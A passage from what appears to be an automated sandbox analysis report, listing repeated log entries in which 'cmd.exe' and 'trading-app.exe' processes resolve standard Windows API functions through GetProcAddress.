00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006724) "trading-app.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter ProcessPrng (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter WaitOnAddress (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter WakeByAddressSingle (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter RtlCaptureStackBackTrace (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter RtlNtStatusToDosError (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter NtDeviceIoControlFile (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter NtQueryInformationFile (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter NtSetInformationFile (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter NtQueryVolumeInformationFile (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter NtQueryDirectoryFile (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter NtQueryInformationProcess (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter GetQueuedCompletionStatusEx (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter PowerRegisterSuspendResumeNotification (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter SetWinEventHook (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter GetHostNameW (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter GetSystemMetrics (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter CommandLineToArgvW (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter IsWow64Process2 (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter GetSecurityInfo (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter IsValidSecurityDescriptor (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter GetSecurityDescriptorControl (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter GetSecurityDescriptorOwner (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter GetSecurityDescriptorGroup (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter GetSecurityDescriptorDacl (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter GetSecurityDescriptorSacl (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter IsValidAcl (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter GetAce (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter SetSecurityInfo (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter GetHandleVerifier (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter LdrLockLoaderLock (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter LdrUnlockLoaderLock (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter SetThreadDescription (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter CreateWindowStationW (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter GetThreadDesktop (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter IsValidSid (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter GetLengthSid (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter BuildTrusteeWithSidW (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter SetEntriesInAclW (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter SetProcessWindowStation (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter CreateDesktopW (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter PostThreadMessageW (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter PeekMessageW (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter NtQuerySection (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter RegNotifyChangeKeyValue (UID: 00000000-00004288) "trading-app.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00004288) "cmd.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007736) "cmd.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00000712) "cmd.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00000576) "cmd.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a 